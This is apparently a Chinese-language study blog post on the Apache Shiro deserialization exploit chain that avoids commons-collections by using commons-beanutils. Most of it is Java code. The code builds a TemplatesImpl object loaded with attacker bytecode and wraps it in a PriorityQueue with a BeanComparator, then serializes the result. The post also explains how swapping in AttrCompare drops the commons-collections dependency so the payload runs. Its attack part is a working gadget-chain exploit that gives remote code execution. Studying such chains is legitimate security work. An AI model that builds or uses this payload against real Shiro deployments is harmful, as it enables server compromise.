Shiro反序列化漏洞-无依赖版利用链

前面学漏洞利用的时候我们添加了cc依赖,而shiro本身又是有cc依赖的,我们现在将添加的cc依赖删除掉,来学习一下无cc依赖的shiro反序列化利用链

image-20250605202620294

主要是针对commons-beanutils,cb链主要是对Javabean类的一个增强,而cc是对Java集合类的一个增强

image-20250605202819585

测试例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class Person {
// 私有成员变量
private String name;
private int age;

// 无参构造方法
public Person() {
}

// 带参构造方法
public Person(String name, int age) {
this.name = name;
this.age = age;
}

// Getter 方法
public String getName() {
return name;
}

public int getAge() {
return age;
}

// Setter 方法
public void setName(String name) {
this.name = name;
}

public void setAge(int age) {
this.age = age;
}

// 重写toString方法,方便打印对象信息
@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + "}";
}
}
1
2
3
4
5
6
7
8
9
10
11

import org.apache.commons.beanutils.PropertyUtils;

public class Main {
public static void main(String[] args) throws Exception{
// 测试JavaBean类的功能
Person person = new Person("11",12);
System.out.println(PropertyUtils.getProperty(person,"age"));

}
}

这样利用javaBean,我们就可以动态的获取属性,只需要更改相应的键值就可以去执行相应的函数

但这样有啥安全问题呢

加个断点

image-20250605204644018

调用getPropertyimage-20250605204749570

又调用到了getNestedProperty,是getProperty方法的内部实现,用于处理嵌套属性。递归解析属性名称,找到并返回最终的属性值。

image-20250605204904932

接下来走一通判断

image-20250605205238064

判断是不是map类,索引类,我们都不是,就调用到了getSimpleProperty

我们接着往下调试,一直到这里

image-20250605205930556

发现这里有对类的描述的一个判断,在这里获取到了我们传入的值age,返回了两个方法setAge和getAge

后面做了一个方法获取,获取到了我们的getAge()

image-20250605210722329

一个反射调用

image-20250605211002109

调用一个符合bean对象的方法

image-20250605211109394

到这里基本就走完了,后面就是调用getage了返回数据

这一套流程走下来就会想到他是动态获取值并调用相应的方法,回想到TemplatesImpl.java的getOutputProperties可以动态加载类,而getOutputProperties又符合JavaBean的命名规则

image-20250605212521224

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.serializer.OutputPropertyUtils;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
public static void main(String[] args) throws Exception{
// 测试JavaBean类的功能
Person person = new Person("11",12);
// System.out.println(PropertyUtils.getProperty(person,"age"));
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameFiled=tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

byte[]code= Files.readAllBytes(Paths.get("F:\\CTF\\Java\\CC\\target\\classes\\Test.class"));
byte[][]codes={code};
bytecodesField.set(templates,codes);
PropertyUtils.getProperty(templates, "outputProperties");

}
}

利用PropertyUtils.getProperty触发TemplatesImpl类的_bytecodes字段的加载,从而加载恶意代码并执行

我们来看谁调用了getProperty,在BeanComparator里的compare方法调用了getProperty

image-20250605215125566

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.serializer.OutputPropertyUtils;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Main {
public static void main(String[] args) throws Exception{
// 测试JavaBean类的功能
Person person = new Person("11",12);
// System.out.println(PropertyUtils.getProperty(person,"age"));
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameFiled=tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

byte[]code= Files.readAllBytes(Paths.get("F:\\CTF\\Java\\CC\\target\\classes\\Test.class"));
byte[][]codes={code};
bytecodesField.set(templates,codes);

BeanComparator beanComparator = new BeanComparator("outputProperties");

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue= new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);
Class<PriorityQueue> c = PriorityQueue.class;
Field comparatorField = c.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);

serialize(priorityQueue);
unserialize("ser.bin");

// PropertyUtils.getProperty(templates, "outputProperties");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
/*
写对象,序列化
*/
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
/*
读对象,反序列化
*/
return obj;
}
}

这里用到了cc依赖里的TransformingComparator和ConstantTransformer,反序列化的时候会调用这两个类的,但是在后面又通过反射给修改回去了,本地生成的payload里会有,但是传上去反序列化的时候并没有被加载没有被调用

会提示没有加载到ConstantTransformer

image-20250605223025580发现BeanComparator加载了cc依赖里的ConstantTransformer,用了一个cb里没有的依赖,怎么解决呢

image-20250605223153863

这里有一个可以自己传的Comparator,自己控制,只需要在调用的时候选择一个cb里和serialize都有的(就是这个类既要有Comparator,还有有序列化接口)

找到了AttrCompare.java

image-20250605223554032

这样就会去调用AttrCompare的Comparator,不会再去调用cc里的了

然后就可以成功执行了

image-20250605223657817